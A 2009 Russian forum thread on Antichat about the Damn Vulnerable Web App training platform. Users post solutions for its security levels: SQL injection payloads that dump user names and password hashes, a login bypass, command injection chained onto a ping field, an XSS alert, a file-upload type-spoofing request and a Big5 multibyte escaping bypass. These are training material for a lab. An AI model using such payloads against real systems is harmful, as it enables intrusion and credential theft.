Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Damn Vulnerable Web App. Тренировочная площадка. (https://forum.antichat.xyz/showthread.php?t=130070)

b3 16.07.2009 15:38

Damn Vulnerable Web App. Тренировочная площадка.
 
Это веб-приложение - тренировочная площадка для испытания и совершенствования своих навыков в поиске и использовании веб-уязвимостей.
Имеет три уровня безопасности(сложности).
Поддерживает следующие виды атак:
*SQL Injection
*XSS (Cross Site Scripting)
*LFI (Local File Inclusion)
*RFI (Remote File Inclusion)
*Command Execution
*Upload Script
*Login Brute Force
*и многие другие..

Для использования необходим вебсервер + база данных MySQL
Видео с наиподробнейшим описанием и инструкцией можно посмотреть здесь: http://www.youtube.com/watch?v=GzIj07jt8rM
Подробности на оф.сайте: http://www.ethicalhack3r.co.uk/
Скачать dvwa v1.0.4: dvwa v1.0.4: http://sourceforge.net/projects/dvwa

YuNi|[c 06.08.2009 18:07

Если не ошибаюсь это поддельный вебсервер для поиска бага. Вот готовые тест сайты для пентеста и проверки своих навыков:
SPI Dynamics (live) - http://zero.webappsecurity.com/
Cenzic (live) - http://crackme.cenzic.com/
Watchfire (live) - http://demo.testfire.net/
Acunetix (live) - http://testphp.acunetix.com/ http://testasp.acunetix.com http://testaspnet.acunetix.com
WebMaven / Buggy Bank - http://www.mavensecurity.com/webmaven
Foundstone SASS tools - http://www.foundstone.com/us/resources-free-tools.asp
Updated HackmeBank - http://www.o2-ounceopen.com/technica...hacmebank.html
OWASP WebGoat - http://www.owasp.org/index.php/OWASP_WebGoat_Project
OWASP SiteGenerator - http://www.owasp.org/index.php/Owasp_SiteGenerator
Stanford SecuriBench - http://suif.stanford.edu/~livshits/securibench/
SecuriBench Micro - http://suif.stanford.edu/~livshits/work/securibench-micro/

r00nix 06.08.2009 19:38

ТС, ты бы еще сюда ссылки на игровые образы CTF выложил :) пусть народ потренируется

mr.celt 06.12.2009 12:39

для тех кто пытался проходить...
1) уровень "Low"->Brute force
Код:

$user=$_GET['username'];
$pass=$_GET['password'];             
$pass = md5($pass);
$qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

Обошел так:
логин: admin'#
пароль: можно оставить пустым, так как уязвим только логин.
Вопрос: почему не сработало admin'--+ (в качестве тренировочной площадки - денвер)

уровень "Medium"->Brute force
Код:

$user = $_GET['username'];             
$user = mysql_real_escape_string($user);
$pass=$_GET['password'];
$pass = mysql_real_escape_string($pass);
$pass = md5($pass);
$qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

Опять же уязвимость в поле логин.
Вопрос: реально ли обойти mysql_real_escape_string()? или здесь токо брутфорс поможет?

Nik(rus) 06.12.2009 16:49

It's easy
В SQL-Inj на medium:

Код:

-1 UNION SELECT 1,2 /*
1 и 2 подставляем как хотим, а вместо строк узаем HEX

InFlame 06.12.2009 20:45

Цитата:

Сообщение от mr.celt
уровень "Medium"->Brute force
Код:

$user = $_GET['username'];             
$user = mysql_real_escape_string($user);
$pass=$_GET['password'];
$pass = mysql_real_escape_string($pass);
$pass = md5($pass);
$qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

Опять же уязвимость в поле логин.
Вопрос: реально ли обойти mysql_real_escape_string()? или здесь токо брутфорс поможет?

Функция mysql_real_escape_string() экранирует кавычки, поэтому выполнить обход авторизации нельзя.

mr.celt 06.12.2009 22:43

Цитата:

Сообщение от Nik(rus)
It's easy
В SQL-Inj на medium:
Код:

-1 UNION SELECT 1,2 /*
1 и 2 подставляем как хотим, а вместо строк узаем HEX

Че-то не понял тебя, ты этим хочешь обойти авторизацию? В post-инъекции?

ficrowns 06.12.2009 23:28

кому интересно - существует ещё Damn Vulnerable Linux :)
damnvulnerablelinux.org

b3 08.12.2009 07:37

Цитата:

Сообщение от mr.celt
Че-то не понял тебя, ты этим хочешь обойти авторизацию? В post-инъекции?

Он просто не совсем полностью выложил скуль:
Цитата:

-1 UNION SELECT password,2 FROM USERS--
И получаем всех юзверов.

В Command Execution на Лов лвл, можно юзать дополнительно команды, разделяя их как в Линуксе так и в Винде амперсандами, пример:
Цитата:

ya.ru && cd C:/ && DIR
На выходе получаем пинг, переход в диск Ц, и список файлов и папок. Ну а дальше от фантазии зависит.

ЗЫ Доступна версия 1.0.6, давайте не спим делимся опытом, кто что нашел интересного, я только начал.

Nik(rus) 08.12.2009 19:31

Вот как я ломал :)

1.Low SQL-Inj
Код:

-1' UNION SELECT concat_ws(0x3A,user(),version(),database()),'ololo sql :D'/*
Узнаем инфу, дальше:
Код:

-1' UNION SELECT table_name,'table' FROM information_schema.tables WHERE table_schema='dvwa'/*
Тут узнали таблицы, дальше:
Код:

-1' UNION SELECT column_name,'column' FROM information_schema.columns WHERE table_schema='dvwa'/*
Так узнаем колонки, и наконец:
Код:

-1' UNION SELECT concat_ws(0x3A,user_id,first_name,last_name,user,password,avatar),concat('info about ',first_name,' aka ',user) FROM users/*
Юзверята :D
2. Low Brute
Тут 2 пути:
1) Через скулю (это вооонтам наверху) достаем хэши, брутим на hashcracking,gdataonline, md5.rednoise etc, благо пароли слабые
2)
Код:

Логин: admin' /*
Пасс: ололо админ школота

Ну и угадайте что происходит :)
3. Low Command Execution
Код:

127.0.0.1 && dir C:\
Наблюдаем пинг 127.0.0.1 и листинг диска C:\
4. Low Upload
Код:

No comments aka тупо льем
5. Low File Inclusion
Код:

http://site/fi_content.php
=> инклудит файлы из корня

Тут видно, что есть связка - LFI и Upload Vuln, берем сканер по хеадерам и сканим известные диры aka up, upload, uploads и находим uploads с прямым листингом :)
6. XSS
Код:

</pre><script>alert('xss :D')</script><pre>some HaCkEr
Видим тупую XSS
7. BONUS:
в медиум SQL-Inj:
Код:

-1 UNION SELECT concat_ws(0x3A,user(),version(),database()),2/*
Вот такие пироги :)

С последующими уровнями становится больше и больше фильтров, но как говорится на каждый замок - своя отмычка

mr.celt 08.12.2009 23:17

Цитата:

Сообщение от b3
Он просто не совсем полностью выложил скуль:
-1 UNION SELECT password,2 FROM USERS--
И получаем всех юзверов.

Я так понял, данные вытаскиваете через SQL injection (это само собой). Я наверно не так задал вопрос: меня интересует можно ли обойти авторизацию при medium, НЕ ИСПОЛЬЗУЯ уязвимостей других разделов.

krypt3r 09.12.2009 10:17

можно, заюзав многобайтные кодировки big5 сотоварищи

mr.celt 09.12.2009 15:55

Цитата:

Сообщение от krypt3r
можно, заюзав многобайтные кодировки big5 сотоварищи

а разве mysql_real_escape_string() не учитывает кодировку?
вот статья от raz0ra на эту тему __http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/

krypt3r 09.12.2009 17:02

Проверьте сами. Если с кодировкой Big5 заюзать урл
http://127.0.0.1/dvwa/vulnerabilities/brute/?username=%a3%27+or+1=1+limit+1%23&password=111&Lo gin=Login#
Получите мессагу Welcome to the password protected area

The matrix 06.01.2010 20:21

Посмотрел площадку. Ничего лишнего. сорец с табличной уязвимостью, которую и искать даже не надо. Лучше потратить время с большой пользой используя не тренировочную площадку, а боевую.
Все же поигрался в нее(В sql inj, file upload, LFI/RFI, comand exec). Вот что наигарал.
Начал с comand exec.
Задача сводится к тому, чтобы вспонить альтернативу рзделялке "&&" for win; ";" for linux
Проходил на винде.
LOW:
Код:

<?php
if (isset($_POST["submit"])) {
                $target = $_REQUEST["ip"];
       
                echo "<pre>";
                echo shell_exec("ping  " . $target);
                echo "</pre>";
                }
?>

Решение
ip=127.0.0.1 && dir
MED
Код:

<?php
        if (isset($_POST["submit"])) {
                $target = $_REQUEST["ip"];
                       
                $target = str_replace("&&", "", $target);
                $target = str_replace(";", "", $target);

                echo "<pre>";
                echo shell_exec("ping  " . $target);
                echo "</pre>";
                }
?>

Решение
Вместо && можно юзать &
ip=127.0.0.1 & dir
HIGH
Код:

<?php
if (isset($_POST["submit"])) {
                $target = $_REQUEST["ip"];
       
                $target = str_replace("&&", "", $target);
                $target = str_replace(";", "", $target);
                $target = str_replace("-", "", $target);
                $target = str_replace("?", "", $target);
                $target = str_replace("||", "", $target);
                $target = str_replace("|", "", $target);
                $target = stripslashes($target);
               
                if ($target == ""){}       
                else{       
                echo "<pre>";
                echo shell_exec("ping  " . $target);
                echo "</pre>";
                }
                }
?>

Фильтр на & Нету. Т.Е решение то же самое что и для MED
Посмотрел еще upload
LOW
без комментов
MED
Код:

<?php
        if (isset($_POST['Upload'])) {

                        $target_path = "uploads/";
                        $target_path = $target_path . basename($_FILES['uploaded']['name']);
                        $uploaded_name = $_FILES['uploaded']['name'];
                        $uploaded_type = $_FILES['uploaded']['type'];
                        $uploaded_size = $_FILES['uploaded']['size'];

                        if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
                               

                                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                                        echo '<pre>Your image was not uploaded.</pre>';
                                      } else {
                                        echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
                                        }       
                        }
                        else{
                                echo '<pre>Your image was not uploaded.</pre>';
                        }
                }
?>

Скрипт требует чтобы
$_FILES['uploaded']['type'] был "image/jpeg".
Решение:
Не хитро обходится. Тайп можно сменить. Отправляем php-шный файл и сниффаем пакет. У меня получилось так.
Код:

POST /dvwa/upload.php HTTP/1.0
User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/dvwa/upload.php
Cookie: security=medium
Cookie2: $Version=1
Proxy-Connection: close
Content-Type: multipart/form-data; boundary=----------Wq88LdnEt7BT8nll12ssLT
Content-Length: 397

------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
Content-Type: application/octet-stream

<? phpinfo(); ?>
------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="Upload"

Upload
------------Wq88LdnEt7BT8nll12ssLT--

изменяем его следующим образом:
Код:

POST /dvwa/upload.php HTTP/1.0
User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/dvwa/upload.php
Cookie: security=medium
Cookie2: $Version=1
Proxy-Connection: close
Content-Type: multipart/form-data; boundary=----------P6JvptCJ2eLEJPIrEFeNot
Content-Length: 397

------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
Content-Type: image/jpeg

<? phpinfo(); ?>
------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="Upload"

Upload
------------P6JvptCJ2eLEJPIrEFeNot--

Результат: fuck.php succesfully uploaded!

High
Код:

<?php
if (isset($_POST['Upload'])) {

                        $target_path = "uploads/";
                        $target_path = $target_path . basename($_FILES['uploaded']['name']);
                        $uploaded_name = $_FILES['uploaded']['name'];
                        $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
                        $uploaded_size = $_FILES['uploaded']['size'];

                        if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
                               

                                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                                        echo '<pre>Your image was not uploaded.</pre>';
                                      } else {
                                        echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
                                        }       
                        }
                        else{
                                echo '<pre>Your image was not uploaded.</pre>';
                        }
                }

?>

Не разобрался.
Еще пытался найти решение на sql inj
Код:

<?php       
        // Retrieve data

        $id = $_GET['id'];
        $id = stripslashes($id);
        $id = mysql_real_escape_string($id);

        if (is_numeric($id)){

        $getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
        $result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

        $num=mysql_numrows($result);

        $i=0;

        while ($i < $num) {

                $first=mysql_result($result,$i,"first_name");
                $last=mysql_result($result,$i,"last_name");
               
                echo "<pre>ID: $id<br>First name: $first<br>Surname: $last</pre>";

                $i++;
        }
        }
?>

Тоже не понял,как эту систему пройти. Если кто разберется, отпишите.
LFI/RFI не стал писать, там уж совсем просто.


Время: 23:55